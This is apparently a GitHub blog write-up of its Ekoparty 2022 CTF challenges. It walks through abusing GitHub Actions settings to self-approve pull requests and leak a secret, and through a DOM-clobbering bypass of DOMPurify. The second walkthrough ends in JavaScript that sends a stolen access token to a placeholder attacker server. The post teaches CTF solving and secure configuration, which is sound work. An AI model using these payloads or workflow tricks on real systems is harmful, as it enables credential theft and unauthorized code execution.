GitHub and the Ekoparty 2022 Capture the Flag
Learn about the design behind, and solutions to, several of GitHub’s CTF challenge for Ekoparty’s 2022 event!
As a sponsor of Ekoparty 2022, GitHub had the privilege of submitting several challenges to the event’s Capture The Flag (CTF) competition. Hubbers from across the company came together to brainstorm, plan, build, and test these challenges over a few weeks to try and create a compelling, and challenging, series of problems for players to solve.
Stage 1: Classroom
The first stage of our CTF challenge was presented to players in the form of an “admissions test” to join the fictitious “Octoversity” and attend classes. Players were given access to a repository that contained a course syllabus, some password protected PDF materials, and a problem they’d need to solve in order to gain admission to the university (and the other stages of the challenge).
The challenge
Keen-eyed players would spot instructions stating that they would need to solve an intro.py
exercise. This consisted of the following code:
import binascii
import math
YourFirst = "lesson"
t = int.from_bytes(YourFirst.encode(), byteorder='little')
for i in range(0,29):
m = t % 23
t*=m if m>2 else 2
for i in range(0,1024):
m = i % 27
t-= pow(m,m) if m>0 else m*m
for i in range(0,32062):
m = i % 23
t-= pow(m,25) if m>0 else m*m
for i in range(0,43052):
m = i % 19
t+= pow(m,24) if m>0 else m*m
for i in range(0,36582):
m = i % 13
t+= pow(m,24) if m>0 else m*m
for i in range(0,813):
m = i % 11
t-= pow(m,24) if m>0 else m*m
for i in range(0,554772):
m = i % 7
t-= pow(m,24) if m>0 else m*m
for i in range(0,789):
m = i % 5
t+= pow(m,24) if m>0 else m*m
for i in range(0,3753):
m = i % 4
t+= pow(m,24) if m>0 else m*m
for i in range(0,5711):
m = i % 3
t-= pow(m,24) if m>0 else m*m
for i in range(0,101234):
t-= 128
t += 328
p = 3562927236051182334153575355087347127407987755959461320351305838619130268209476696833779953363710389416751
print(f'To access the course:\n "https://" + DECODE({hex(p)[2:]}) + "/{hex(t)[2:]}"')
The objective for players was to figure out how to turn this into a functional URL.
Solution
As this was an introductory challenge, we wanted this to be quite straightforward. The solution to this was simply to decode the provided hex-encoded string p
.
For example, this could be accomplished using CyberChef:
This would provide a resulting URL of https://classroom.github.com/assignment-invitations/25a94104e34a852f3af0a8a53d734fad
which would lead players to the next stage of the challenge.
Stage 2: Approval
The second stage of our challenges was focused around abusing misconfigured GitHub Actions security settings in order to bypass Branch Protection rules and gain access to secrets protected by Environment Protection rules. This also focused on the use of pull_request_target
and its ability to run untrusted code in the context of a sensitive environment.
Players were prompted to sign up for the challenge through a GitHub issue, which would then trigger a workflow creating a private repository for them containing the challenge setup. This was done so that players would have a largely authentic experience of having write access to a repository, while also being able to keep their solutions private.
As the entire configuration for the repository was based on a template, players were all given exactly the same tools to work with, and the security configurations were available transparently as part of the workflow. In short, the repository contained a secret only accessible to a specific environment
, and that environment
had protection rules only permitting code from a specific branch to run in it. In addition, branch protection rules were configured requiring one additional approver for any pull requests in order to get code onto the protected branch.
The main workflow that players were attempting to exploit was as follows:
name: Grade the Pull Request
on:
workflow_run:
workflows: ["PR Management"]
types:
- completed
pull_request_target:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
environment: CTF
steps:
- name: Checkout head branch of PR
uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.ref }}
repository: ${{ github.event.pull_request.head.repo.full_name }}
- name: Checkout main branch of this repo
uses: actions/checkout@v3
with:
ref: main
path: ./grading
- uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.0
- name: Grade the Pull Request
run: |
gem install octokit
ruby grading/script/grading.rb
env:
FLAG: ${{ secrets.FLAG }}
Specifically, this would run a script in another directory of the repository and expose the flag as an environment variable (giving the players the name of the secret they need to retrieve).
The relevant linked workflow (PR Management
) would automatically close and delete branches that did not target the main
branch:
name: PR Management
on:
pull_request_target:
types: [opened]
branches-ignore:
- 'main'
jobs:
close_pr:
runs-on: ubuntu-latest
steps:
- uses: superbrothers/close-pull-request@v3
with:
comment: "Pull Requests are only accepted against the `main` branch."
cleanup_branch:
runs-on: ubuntu-latest
name: Delete non-grading branches
steps:
- name: Delete those pesky dead branches
uses: phpdocker-io/github-actions-delete-abandoned-branches@v1
id: delete_branches
with:
github_token: ${{ github.token }}
last_commit_age_days: -1
ignore_branches: main,grading
dry_run: no
The trick here of course is that the script that would expose the flag (grading.rb
) didn’t actually expose it, and players didn’t have write access to the main
branch to change that , but maybe there’s a way to “exploit” it?
The originally planned solution
When we were designing this challenge, the goal was for players to exploit the grading.rb
script’s YAML.load
implementation since it would accept player-controlled content that could lead to RCE. Unfortunately, this basic setup was somewhat trivial to bypass as you could just run a workflow from another branch and leak the secret directly. That gave us another idea, which led to the use of an environment
and protection rules around it.
The solution
The premise of the challenge, noted above, was that players needed to find a way to get a pull request approved so that their code could be merged into the main
branch of the repository and be able to run in the CTF
protected environment that contained the stage’s flag.
Final “exploitation” of this (leaking the flag) could take several forms, including the YAML.load
vulnerability noted above; however, getting code there in the first place was the real focus. In short, players had to do the following:
- Create a new branch (for example,
player_branch
) -
Delete the existing workflows on
player_branch
-
Create their own workflow on
player_branch
that would perform whatever action they wanted (for example, leaking the flag) -
Open a pull request from
player_branch
tomain
-
Create another branch (for example,
approval_branch
) -
Delete the existing workflows on
approval_branch
-
Create a new workflow on
approval_branch
that would approve the pull request they had created, and trigger it
This was predicated on the administrators (us) having not enabled a setting that prevents GitHub Actions from creating or approving pull requests. From here, retrieving the flag was trivial.
Notes
It was identified from discussions with players that the environment protection rules functionality this challenge relied on may have actually been overly restrictive. Through further investigation with GitHub Engineering, it was noted that the use of environment protection rules should not actually prevent access to secrets from other branches in the same repository. This bug is pending resolution; however, in the future the current form of this challenge will not be reproducible.
There were also some alternative solutions identified by players that focused on fork-based workflows which were also enabled by the use of pull_request_target
. You can read more on our recommended caution around using pull_request_target
in this article.
Stage 3: FreeDOM
This stage tries to emulate a ticketing system that “Octoversity” teachers would use to request technical help from system administrators. At this point, players would have already solved the previous two stages of the challenge, and be well positioned as students of “Octoversity” ready to further their exploitation of the university’s systems!
The challenge
This was running a Flask app, with a paired Selenium bot that would evaluate player-submitted content and perform various actions as a result. The goal here was for players to find a way to exploit the (intentionally) vulnerable site and abuse the way DOMPurify
‘s configuration was being fetched to allow their own malicious content through.
Solution
In order to identify our objective, we can see that there’s a ticket being created for the user Jordi
with a very suspicious content. Since there is no other suspicious place in the webapp, we can focus on trying to leak the contents of the ticket.
ticket = Ticket(👍
id=uuid4().hex,
from_id=2,
content=f"<h4>Hi team!\nI'm having some issues with the authentication API, can you check if this PAT works for you?\nThanks in advance!\nPAT: {os.environ.get('FINAL_EXAM_PAT', 'A cool PAT')}</h4>"
)
However, ticket contents can only be accessed by the user who created it or the administrator:
@app.route("/api/ticket/<ticket_id>", methods=["GET"])
@login_required
def api_profile(ticket_id):
ticket = Ticket.query.filter_by(id=ticket_id).first()
if ticket:
if ticket.from_id == g.user.id or g.user.id == 1:
return jsonify(content=ticket.content)
else:
jsonify(error="You are not allowed to see this ticket")
So, we would need to impersonate either Jordi
or the administrator to get the ticket contents. We can use the reporting process to impersonate the administrator:
@app.route("/api/ticket/<ticket_id>/report", methods=["GET"])
@login_required
def api_ticket_report(ticket_id):
ticket = Ticket.query.filter_by(id=ticket_id).first()
if ticket:
if ticket.from_id == g.user.id:
cli.set(request.remote_addr, ticket_id)
return jsonify(success="An agent will review your report soon")
else:
return jsonify(error="You are not allowed to see this ticket")
After a report, the administrator will log into the system and visit the reported ticket:
driver.get("/signin")
WebDriverWait(driver, 10).until(
ec.element_to_be_clickable((By.ID, "usernameInput")))
driver.find_element("id", "usernameInput").send_keys(
os.environ.get("ADMIN_BOT_USER"))
driver.find_element("id", "passwordInput").send_keys(
os.environ.get("ADMIN_BOT_PASSWORD"))
driver.find_element("id", "submitButton").click()
driver.get("/ticket/{ticket_id}")
sleep(os.environ.get("BROWSER_SLEEP"))
But we can’t control the URL the bot will visit, nor the actions after visiting a ticket. Let’s see how tickets are rendered:
<!-- TODO: Improve ticket rendering and add button to report to an agent -->
<div id="about"></div>
<div id="ticket"></div>
<script>
const getDOMPurifyConfig = async (url) => {
const response = await getJSONfromURL(url)
return response.configuration
}
const sanitize = async (unsafe_html) => {
const configuration = await getDOMPurifyConfig(window.DOMPurifyConfigURL || "/api/dompurify_config")
return DOMPurify.sanitize(unsafe_html, configuration)
}
const main = async () => {
// get about from user
const user = await getJSONfromURL('/api/profile/{{ user.id }}')
document.getElementById("about").innerHTML = await sanitize(user.about)
// get ticket contents
const ticket = await getJSONfromURL('/api/ticket/{{ ticket_id }}')
document.getElementById("ticket").innerHTML = await sanitize(ticket.content)
}
main()
</script>
The script will look for the about
section of the ticket’s user, sanitize it, and add it as raw HTML into the div
with id=about
. The same will be done for the ticket
content.
However, you may have noticed that the sanitize
function is a bit weird. It tries to fetch a DOMPurify configuration from an undefined window.DOMPurifyConfigURL
variable, or will fall back to /api/dompurify_config
.
The ticketing system is providing an empty configuration for that endpoint:
# Note to researchers, default configuration is enough to prevent XSS attacks
@app.route("/api/dompurify_config", methods=["GET"])
def dompurify_config():
return jsonify(configuration={})
However, this is still suspicious. We all know DOMPurify to be our best friend to protect against XSS inputs, but this sanitization is being done in two iterations, so, what can we do to the DOM in the first iteration to impact the second?
Since we cannot introduce direct XSS inputs, we have to clobber the DOM in order for the second iteration to use the value of window.DOMPurifyConfigURL
and not fall back to /api/dompurify_config
.
If we introduce an element with an id, window
will be able to reference that element as if the id were a property of itself. We can do so adding a simple <a id="DOMPurifyConfigURL" href="{ATTACKER_SERVER}/configuration"/>
to the DOM. Note that the a
element is quite interesting here, since its string representation is its href
property.
After controlling the configuration used by the second sanitization, we can return a configuration, such as "ADD_ATTR": ["onerror"]
in order to make DOMPurify to allow inputs such as <img onerror='js-here' src='x'>
where x
is the route to an image that does not exist, so the onerror
handler will be triggered.
Now that we know how to impersonate the administrator, we can leak the ticket, but it won’t be completely straightforward. As you can see, ticket ids are not guessable (uuid4().hex
), so we’d need to leak that first.
Ticket ids are displayed in the profile of each user through the /profile/<int:user_id>
endpoint:
{% if tickets %}
<div class="list-group">
{% for ticket in tickets -%}
<a id="ticket" href="/ticket/{{ ticket.id }}" class="list-group-item list-group-item-action">{{ticket.id }}</a>
{% endfor %}
</div>
{% endif %}
So, since the user Jordi
is created right after the administrator, we know its ID will be 2
.
r = await fetch('/profile/2');
text = await r.text();
const parser = new DOMParser();
const doc = parser.parseFromString(text, 'text/html');
const ticket_id = doc.getElementById("ticket").href.split("/")[4];
We can now use ticket_id
to get the contents of the ticket and leak it to our server:
r = await fetch('/api/ticket/' + ticket_id);
json = await r.json();
await fetch('{ATTACKER_SERVER}/leak?foo=' + encodeURIComponent(JSON.stringify(json)));
ImmutableMultiDict([('foo', '{"content":"<h4>Hi team!\\nI\'m having some issues with the authentication API, can you check if this PAT works for you?\\nThanks in advance!\\nPAT: <PAT_HERE></h4>"}')])
With this PAT we can continue to the next stage.
Stage 4: Free Ride
The final stage of our challenge was focused on reverse engineering and binary exploitation. No players at the event solved this, and due to the stage-based nature of our challenge only a limited number of players accessed it. We’ll likely see this challenge resurface in a future event!
Wrap-up
It was equal parts terrifying and thrilling to watch players attempt, and solve, our challenges! We look forward to building out more challenges to share with you all in future events!
Resources
- Universal RCE with Ruby YAML.load (versions > 2.7)
- CyberChef
- The Spanner – DOM clobbering
- domclob.xyz
- terjanq – Advanced DOM clobbering
- PortSwigger – DOM clobbering
Tags:
Written by
Related posts
Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects
Can an attacker execute arbitrary commands on a remote server just by sending JSON? Yes, if the running code contains unsafe deserialization vulnerabilities. But how is that possible? In this blog post, we’ll describe how unsafe deserialization vulnerabilities work and how you can detect them in Ruby projects.
10 years of the GitHub Security Bug Bounty Program
Let’s take a look at 10 key moments from the first decade of the GitHub Security Bug Bounty program.
Where does your software (really) come from?
GitHub is working with the OSS community to bring new supply chain security capabilities to the platform.